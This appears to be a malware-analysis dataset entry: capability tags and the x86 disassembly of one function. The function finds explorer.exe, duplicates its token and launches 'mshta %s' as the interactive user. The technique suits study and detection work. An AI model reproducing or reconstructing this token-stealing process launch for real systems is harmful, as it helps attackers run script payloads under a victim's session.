Function at 0x402798
Capabilities:
Create process on windows
Create process suspended
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3dc
mov dword [esp + 4], ebx
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push esi
push esi
cmp eax, 0xffffffff
je 0x402a0f
mov ebx, eax
lea edi, [ebp - 0x214]
xor eax, eax
mov ecx, 0x7f
rep stosd dword es:[edi], eax
xor edx, edx
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], edx
mov dword [esp + 8], 0x40f060
mov dword [esp + 4], str.mshta___s_
mov dword [esp], eax
call fcn.004024ec
lea eax, [ebp - 0x340]
mov dword [ebp - 0x340], 0x128
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_Process32First
dec eax
push ecx
push ecx
je 0x40286f
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x402a0f
xor eax, eax
lea esi, [ebp - 0x31c]
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], eax
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], str.explorer.exe
call dword [sym.imp.msvcrt.dll__strnicmp]
mov dword [ebp - 0x3ac], eax
test eax, eax
je 0x402888
lea eax, [ebp - 0x340]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_Process32Next
dec eax
push edx
push edx
je 0x402828
jmp 0x402819
mov eax, dword [ebp - 0x338]
mov dword [esp + 4], 1
mov dword [esp], 0x400
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [eax - 1]
mov dword [ebp - 0x398], eax
sub esp, 0xc
cmp edx, 0xfffffffd
ja 0x40286f
lea edx, [ebp - 0x3a4]
mov dword [esp + 4], 0xb
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
test eax, eax
jne 0x4028f3
lea eax, [ebp - 0x398]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x39c]
mov dword [esp + 8], eax
jmp 0x4029f2
lea eax, [ebp - 0x3a0]
mov dword [esp + 0x10], 1
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], eax
mov dword [esp + 4], 0x18b
mov eax, dword [ebp - 0x3a4]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
sub esp, 0x18
test eax, eax
je 0x4028da
xor eax, eax
lea esi, [ebp - 0x39c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x3a0]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.USERENV.dll_CreateEnvironmentBlock
sub esp, 0xc
test eax, eax
je 0x4028da
mov eax, dword [ebp - 0x3ac]
lea edi, [ebp - 0x384]
mov ecx, 0x11
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x394]
mov ecx, 4
mov dword [ebp - 0x37c], str.winsta0default
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x394]
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x28], eax
lea eax, [ebp - 0x384]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov eax, dword [ebp - 0x39c]
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3a0]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
sub esp, 0x2c
test eax, eax
je 0x4028da
lea eax, [ebp - 0x398]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x3a0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a4]
mov dword [esp], eax
call fcn.00402739
jmp 0x40286f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret